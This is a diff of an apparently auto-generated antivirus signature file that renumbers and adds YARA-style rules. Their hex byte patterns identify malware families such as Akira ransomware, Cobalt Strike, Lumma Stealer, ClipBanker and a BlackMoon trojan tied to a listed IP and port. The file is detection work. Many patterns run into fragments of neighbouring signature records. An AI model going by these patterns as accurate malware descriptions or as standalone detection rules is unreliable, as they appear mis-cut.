@@ -44846,7 +46588,7 @@ rule _InfrastructureShared_4337{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4338{ +rule _InfrastructureShared_4507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44856,7 +46598,7 @@ rule _InfrastructureShared_4338{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4339{ +rule _InfrastructureShared_4508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44866,7 +46608,7 @@ rule _InfrastructureShared_4339{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4340{ +rule _InfrastructureShared_4509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44876,7 +46618,7 @@ rule _InfrastructureShared_4340{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4341{ +rule _InfrastructureShared_4510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44886,7 +46628,7 @@ rule _InfrastructureShared_4341{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4342{ +rule _InfrastructureShared_4511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44896,7 +46638,7 @@ rule _InfrastructureShared_4342{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4343{ +rule _InfrastructureShared_4512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44906,7 +46648,7 @@ rule _InfrastructureShared_4343{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4344{ +rule _InfrastructureShared_4513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44916,7 +46658,7 @@ rule _InfrastructureShared_4344{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4345{ +rule _InfrastructureShared_4514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44926,7 +46668,7 @@ rule _InfrastructureShared_4345{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4346{ +rule _InfrastructureShared_4515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44936,17 +46678,37 @@ rule _InfrastructureShared_4346{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4347{ +rule _InfrastructureShared_4516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_77_0 = {69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 5a 68 75 6f 78 69 75 00 01 00 30 01 68 74 74 70 3a 2f 2f 73 68 61 64 75 2e 62 61 69 64 75 2e 63 6f 6d 2f 69 6e 64 65 78 2f 6d 69 6e 69 5f 32 74 6f 31 5f 64 6f 77 6e 6c 6f 61 64 2f 00 00 78 57 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 48 53 54 52 3a 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 50 61 } //19491 + $a_77_0 = {69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 5a 68 75 6f 78 69 75 00 01 00 30 01 68 74 74 70 3a 2f 2f 73 68 61 64 75 2e 62 61 69 64 75 2e 63 6f 6d 2f 69 6e 64 65 78 2f 6d 69 6e 69 5f 32 74 6f 31 5f 64 6f 77 6e 6c 6f 61 64 2f 00 00 78 57 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 41 6b 69 72 61 2e 59 } //19491 condition: ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4348{ +rule _InfrastructureShared_4517{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 41 6b 69 72 61 2e 59 52 54 21 4d 54 42 00 01 00 2a 03 0f b6 8c 18 90 01 04 48 8b 44 24 90 01 01 30 08 48 ff c0 ff 8b 90 01 04 48 83 6c 24 90 01 02 48 89 44 24 90 01 01 0f 85 90 00 00 00 78 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_4518{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 55 5a 21 4d 54 42 00 01 00 25 03 8a 07 32 04 31 aa 48 ff 4d 90 01 01 48 ff c1 48 3b 4d 90 01 01 75 90 01 01 48 33 c9 48 83 7d 90 01 02 75 90 00 00 00 78 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_4519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44956,7 +46718,17 @@ rule _InfrastructureShared_4348{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4349{ +rule _InfrastructureShared_4520{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6c 69 70 42 61 6e 6b 65 72 2e 42 53 21 4d 54 42 00 01 00 27 03 08 58 0c 20 02 17 04 00 7e 0e 00 00 04 13 0c 11 0c 20 00 00 00 02 5c 11 0c 17 64 20 b9 90 01 01 7d 3d 5c } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44966,7 +46738,7 @@ rule _InfrastructureShared_4349{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4350{ +rule _InfrastructureShared_4522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44976,7 +46748,7 @@ rule _InfrastructureShared_4350{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4351{ +rule _InfrastructureShared_4523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44986,7 +46758,7 @@ rule _InfrastructureShared_4351{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4352{ +rule _InfrastructureShared_4524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44996,7 +46768,7 @@ rule _InfrastructureShared_4352{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4353{ +rule _InfrastructureShared_4525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45006,7 +46778,37 @@ rule _InfrastructureShared_4353{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4354{ +rule _InfrastructureShared_4526{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 55 54 21 4d 54 42 00 01 00 24 03 c3 41 69 c0 90 01 04 45 31 c0 4c 39 c2 74 90 01 01 46 0f b6 0c 01 44 31 c8 69 c0 90 01 04 49 ff } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4527{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6e 74 2e 41 21 4d 54 42 00 01 00 2d 01 48 89 5c 24 10 48 89 74 24 18 48 89 7c 24 20 41 56 48 83 ec 30 48 8b 41 10 33 ff 4c 8b f1 48 63 70 3c 48 03 f0 0f b7 5e 14 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4528{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 75 67 6d 69 2e 48 4e 21 4d 54 42 00 01 00 2b 01 48 8b 44 24 40 48 8b 40 10 48 63 40 3c 48 8b 4c 24 40 48 03 41 10 48 89 44 24 28 48 8b 44 24 28 0f b7 40 18 25 00 02 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45016,7 +46818,7 @@ rule _InfrastructureShared_4354{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4355{ +rule _InfrastructureShared_4530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45026,7 +46828,7 @@ rule _InfrastructureShared_4355{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_4356{ +rule _InfrastructureShared_4531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45036,17 +46838,27 @@ rule _InfrastructureShared_4356{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_4357{ +rule _InfrastructureShared_4532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 5f 69 70 6f 6c 72 6f 00 01 00 29 01 48 74 16 48 74 1f 83 e8 03 0f 84 8b 00 00 00 83 e8 03 74 1a e9 88 00 00 00 c7 45 fc 01 00 00 00 e9 81 00 00 00 c7 45 fc 01 00 00 78 57 00 00 01 00 01 00 02 00 21 23 48 53 54 52 3a 4c 65 63 70 65 74 65 78 2e 42 31 00 01 00 18 01 74 1c 81 } //25635 + $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 5f 69 70 6f 6c 72 6f 00 01 00 29 01 48 74 16 48 74 1f 83 e8 03 0f 84 8b 00 00 00 83 e8 03 74 1a e9 88 00 00 00 c7 45 fc 01 00 00 00 e9 81 00 00 00 c7 45 fc 01 00 00 78 57 00 00 01 00 01 00 02 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4e 6f } //25635 condition: ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_4358{ +rule _InfrastructureShared_4533{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " + + strings : + $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4e 6f 74 65 54 61 6b 65 72 2e 41 21 64 68 61 00 01 00 0d 01 6e 6f 74 65 70 61 64 2b 2b 2e 64 6c 6c 01 00 12 01 5c 6e 6f 74 65 70 61 64 2b 2b 5f 78 36 34 2e 64 6c 6c 00 00 78 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_4534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -45057,7 +46869,7 @@ rule _InfrastructureShared_4358{ ((#a_54_0 & 1)*18467+(#a_23_1 & 1)*2) >=1 } -rule _InfrastructureShared_4359{ +rule _InfrastructureShared_4535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -45068,7 +46880,7 @@ rule _InfrastructureShared_4359{ ((#a_54_0 & 1)*18467+(#a_23_1 & 1)*2) >=1 } -rule _InfrastructureShared_4360{ +rule _InfrastructureShared_4536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -45079,31 +46891,60 @@ rule _InfrastructureShared_4360{ ((#a_54_0 & 1)*18467+(#a_23_1 & 1)*2) >=1 } -rule _InfrastructureShared_4361{ +rule _InfrastructureShared_4537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 01 00 17 01 2e 3f 41 56 43 57 69 6e 69 6e 65 74 5f 50 72 6f 74 6f 63 6f 6c 40 40 01 00 0f 01 43 4d 53 5f 43 6f 6e 74 65 6e 74 49 6e 66 6f 00 00 78 57 00 00 01 00 01 00 04 00 21 23 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 48 69 6b 69 74 69 2e 4a 21 } //25635 - $a_00_1 = {01 00 07 01 32 ca 88 08 40 33 c9 01 00 0d 01 8b 38 83 c0 04 33 fd 4a 89 78 fc 75 f3 01 00 08 01 31 1e 83 c6 04 48 75 f8 9c ff 05 00 45 50 53 4f 4e 00 00 78 57 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 43 6f 62 61 6c 74 5f 62 65 61 63 6f 6e 5f 64 6c 6c 00 01 00 1e 03 8e 4e 0e ec 74 90 01 01 } //26724 + $a_00_1 = {01 00 07 01 32 ca 88 08 40 33 c9 01 00 0d 01 8b 38 83 c0 04 33 fd 4a 89 78 fc 75 f3 01 00 08 01 31 1e 83 c6 04 48 75 f8 9c ff 05 00 45 50 53 4f 4e 00 00 78 57 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 53 4f 55 21 4d 54 42 00 02 00 2c 01 fe } //26724 condition: ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*26724) >=1 } -rule _InfrastructureShared_4362{ +rule _InfrastructureShared_4538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " strings : - $a_63_0 = {64 6f 6f 72 3a 57 69 6e 33 32 2f 48 69 6b 69 74 69 2e 4a 21 64 68 61 00 01 00 07 01 32 ca 88 08 40 33 c9 01 00 0d 01 8b 38 83 c0 04 33 fd 4a 89 78 fc 75 f3 01 00 08 01 31 1e 83 c6 04 48 75 f8 9c ff 05 00 45 50 53 4f 4e 00 00 78 57 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 43 6f 62 61 6c 74 } //16931 - $a_61_1 = {6f 6e 5f 64 6c 6c 00 01 00 1e 03 8e 4e 0e ec 74 90 01 01 81 90 01 02 aa fc 0d 7c 74 90 01 01 81 90 01 02 54 ca af 91 90 00 01 00 11 01 5f 52 65 66 6c 65 63 74 69 76 65 4c 6f 61 64 65 72 00 00 78 57 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e } //25183 - $a_4e_2 = {4d 45 5f 48 65 78 79 52 75 6e 6e 65 72 00 01 00 0a 81 01 48 65 78 79 52 75 6e 6e 65 72 01 00 0d 81 01 41 73 73 65 6d 62 6c 79 54 69 74 6c 65 00 00 78 57 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 4e 41 4d 45 5f 69 } //21573 - $a_62_3 = {68 65 6c 6c 00 01 00 0a 81 01 69 62 6f 6d 62 73 68 65 6c 6c 01 00 0d 81 01 41 73 73 65 6d 62 6c 79 54 69 74 6c 65 00 00 78 57 00 00 02 00 02 00 02 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 45 73 74 65 6d 69 70 72 6f 78 2e 41 31 00 01 00 20 01 6f 00 39 00 32 00 35 00 32 00 32 00 34 00 63 00 2e 00 62 00 67 00 65 00 74 00 2e } //28514 + $a_63_0 = {64 6f 6f 72 3a 57 69 6e 33 32 2f 48 69 6b 69 74 69 2e 4a 21 64 68 61 00 01 00 07 01 32 ca 88 08 40 33 c9 01 00 0d 01 8b 38 83 c0 04 33 fd 4a 89 78 fc 75 f3 01 00 08 01 31 1e 83 c6 04 48 75 f8 9c ff 05 00 45 50 53 4f 4e 00 00 78 57 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e } //16931 + $a_49_1 = {2f 5a 75 73 79 2e 53 4f 55 21 4d 54 42 00 02 00 2c 01 fe 0c 00 00 39 3b 00 00 00 73 27 00 00 0a fe 0e 01 00 fe 0c 00 00 fe 0c 01 00 6f 28 00 00 0a fe 0c 01 00 6f 29 00 00 0a fe 0e 02 00 00 00 78 57 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f } //19770 + $a_3a_2 = {53 49 4c 2f 43 72 79 73 61 6e 2e 45 4a 43 47 21 4d 54 42 00 02 00 29 02 2b 22 06 02 07 90 01 05 03 07 03 90 01 05 5d 90 01 05 61 d1 90 01 05 26 07 17 58 0b 07 02 90 01 05 fe 04 0c 08 2d d1 90 00 00 00 78 57 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6d 63 6f 73 2e 41 42 4b 21 4d 54 42 } //24938 condition: - ((#a_63_0 & 1)*16931+(#a_61_1 & 1)*25183+(#a_4e_2 & 1)*21573+(#a_62_3 & 1)*28514) >=1 + ((#a_63_0 & 1)*16931+(#a_49_1 & 1)*19770+(#a_3a_2 & 1)*24938) >=1 } -rule _InfrastructureShared_4363{ +rule _InfrastructureShared_4539{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 53 4f 55 21 4d 54 42 00 02 00 2c 01 fe 0c 00 00 39 3b 00 00 00 73 27 00 00 0a fe 0e 01 00 fe 0c 00 00 fe 0c 01 00 6f 28 00 00 0a fe 0c 01 00 6f 29 00 00 0a fe 0e 02 00 00 00 78 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_4540{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 45 4a 43 47 21 4d 54 42 00 02 00 29 02 2b 22 06 02 07 90 01 05 03 07 03 90 01 05 5d 90 01 05 61 d1 90 01 05 26 07 17 58 0b 07 02 90 01 05 fe 04 0c 08 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_4541{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6d 63 6f 73 2e 41 42 4b 21 4d 54 42 00 02 00 29 03 0f b6 84 15 90 01 04 8b 8d ec ee ff ff 03 8d 68 fa ff ff 0f b6 11 33 d0 8b 85 ec ee ff ff 03 85 68 fa ff ff 88 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_4542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -45113,7 +46954,7 @@ rule _InfrastructureShared_4363{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4364{ +rule _InfrastructureShared_4543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -45123,7 +46964,7 @@ rule _InfrastructureShared_4364{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4365{ +rule _InfrastructureShared_4544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -45133,7 +46974,7 @@ rule _InfrastructureShared_4365{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4366{ +rule _InfrastructureShared_4545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -45143,29 +46984,51 @@ rule _InfrastructureShared_4366{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4367{ +rule _InfrastructureShared_4546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 41 6e 74 69 45 6d 75 5f 54 72 61 63 75 72 42 4b 00 01 00 19 03 c1 c0 04 d1 c8 83 c7 02 4f 4d eb 90 09 0d 00 51 60 bf 90 01 04 4f bd 90 00 01 00 16 03 f7 f2 42 ff 22 90 09 0c 00 75 90 01 01 81 ff 90 01 04 74 07 90 00 00 00 78 57 00 00 02 00 02 00 } //18467 + $a_23_1 = {53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 31 36 00 02 00 17 03 40 00 00 e0 2e 74 61 } //2 + condition: + ((#a_54_0 & 1)*18467+(#a_23_1 & 1)*2) >=2 + +} +rule _InfrastructureShared_4547{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 31 36 00 02 00 17 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 90 01 1a 40 00 00 e0 90 00 02 00 17 03 40 00 00 40 2e 74 61 67 67 61 6e 74 00 30 90 01 1a 40 00 00 e0 90 00 00 00 78 57 00 00 02 00 02 00 } //18467 $a_23_1 = {53 54 52 3a 4d 53 49 4c 2f 4f 62 66 75 73 63 61 74 6f 72 2e 4d 50 52 45 53 53 2e 41 00 01 00 0e 01 } //2 condition: ((#a_54_0 & 1)*18467+(#a_23_1 & 1)*2) >=2 } -rule _InfrastructureShared_4368{ +rule _InfrastructureShared_4548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 4d 53 49 4c 2f 4f 62 66 75 73 63 61 74 6f 72 2e 4d 50 52 45 53 53 2e 41 00 01 00 0e 01 4d 00 50 00 52 00 45 00 53 00 53 00 00 00 01 00 19 01 06 08 58 0a 11 09 20 ff 07 00 00 5f 20 81 00 00 00 58 13 09 08 17 61 d2 0c 00 00 78 57 00 00 02 00 02 00 } //18467 + $a_23_1 = {53 54 52 3a 4d 53 49 4c 2f 52 65 73 6f 75 72 63 65 4c 6f 61 64 65 72 2e 50 52 21 41 4d 54 42 00 01 } //2 + condition: + ((#a_54_0 & 1)*18467+(#a_23_1 & 1)*2) >=2 + +} +rule _InfrastructureShared_4549{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 52 65 73 6f 75 72 63 65 4c 6f 61 64 65 72 2e 50 52 21 41 4d 54 42 00 01 00 13 81 01 47 65 74 4d 61 6e 69 66 65 73 74 52 65 73 6f 75 72 63 65 01 00 0f 81 01 52 65 73 6f 75 72 63 65 4d 61 6e 61 67 65 72 00 00 78 57 00 00 02 00 02 00 } //18467 $a_23_1 = {53 54 52 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 47 65 6e 61 73 6f 6d 2e 42 41 00 01 00 18 01 25 } //2 condition: ((#a_54_0 & 1)*18467+(#a_23_1 & 1)*2) >=2 } -rule _InfrastructureShared_4369{ +rule _InfrastructureShared_4550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -45176,18 +47039,29 @@ rule _InfrastructureShared_4369{ ((#a_54_0 & 1)*18467+(#a_23_1 & 1)*2) >=2 } -rule _InfrastructureShared_4370{ +rule _InfrastructureShared_4551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 6c 61 63 6b 4d 6f 6f 6e 2e 47 31 21 4d 54 42 00 01 00 11 01 32 30 32 2e 31 38 39 2e 36 2e 38 35 3a 37 37 34 38 01 00 11 01 42 6c 61 63 6b 4d 6f 6f 6e 20 52 75 6e 54 69 6d 65 00 00 78 57 00 00 02 00 02 00 } //18467 + $a_23_1 = {53 54 52 3a 57 69 6e 33 32 2f 53 61 74 61 63 6f 6d 2e 41 00 01 00 14 01 4d 00 50 00 33 00 53 00 69 } //2 + condition: + ((#a_54_0 & 1)*18467+(#a_23_1 & 1)*2) >=2 + +} +rule _InfrastructureShared_4552{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 53 61 74 61 63 6f 6d 2e 41 00 01 00 14 01 4d 00 50 00 33 00 53 00 69 00 6d 00 57 00 6e 00 64 00 00 00 01 00 1c 01 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 54 00 65 00 73 00 74 00 00 00 00 00 78 57 00 00 02 00 02 00 } //18467 $a_23_1 = {6f 77 66 69 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 53 65 66 6e 69 74 5f 70 61 63 6b 65 72 37 5f 44 42 } //2 owfi:HSTR:TrojanSefnit_packer7_DB condition: ((#a_54_0 & 1)*18467+(#a_23_1 & 1)*2) >=2 } -rule _InfrastructureShared_4371{ +rule _InfrastructureShared_4553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -45198,7 +47072,7 @@ rule _InfrastructureShared_4371{ ((#a_77_0 & 1)*19491+(#a_65_1 & 1)*25441) >=2 } -rule _InfrastructureShared_4372{ +rule _InfrastructureShared_4554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -45208,7 +47082,7 @@ rule _InfrastructureShared_4372{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4373{ +rule _InfrastructureShared_4555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -45220,27 +47094,37 @@ rule _InfrastructureShared_4373{ ((#a_54_0 & 1)*18467+(#a_23_1 & 1)*1+(#a_c1_2 & 1)*400) >=2 } -rule _InfrastructureShared_4374{ +rule _InfrastructureShared_4556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " strings : - $a_77_0 = {69 3a 4b 75 6c 75 6f 7a 4f 62 66 75 73 63 61 74 6f 72 31 00 01 00 2f 03 30 44 8a 01 8b 45 90 01 01 c1 e8 08 24 ff 8b 55 fc 8b 4d 90 01 01 30 44 8a 02 8a 45 90 01 01 24 ff 8b 55 fc 8b 4d 90 01 01 30 44 8a 03 90 00 00 00 01 00 78 57 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f } //19491 + $a_77_0 = {69 3a 4b 75 6c 75 6f 7a 4f 62 66 75 73 63 61 74 6f 72 31 00 01 00 2f 03 30 44 8a 01 8b 45 90 01 01 c1 e8 08 24 ff 8b 55 fc 8b 4d 90 01 01 30 44 8a 02 8a 45 90 01 01 24 ff 8b 55 fc 8b 4d 90 01 01 30 44 8a 03 90 00 00 00 01 00 78 57 00 00 03 00 03 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 75 6d 62 6c 65 42 } //19491 condition: ((#a_77_0 & 1)*19491) >=3 } -rule _InfrastructureShared_4375{ +rule _InfrastructureShared_4557{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 75 6d 62 6c 65 42 65 65 2e 43 21 4d 54 42 00 03 00 28 03 0f be 84 24 90 01 04 83 f0 59 88 84 24 90 01 04 0f b6 84 24 90 01 04 88 84 24 90 01 04 80 bc 24 90 01 04 31 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=3 + +} +rule _InfrastructureShared_4558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 4e 4d 42 21 4d 54 42 00 02 00 13 03 17 95 2d 03 16 2b 01 17 17 59 90 02 22 95 61 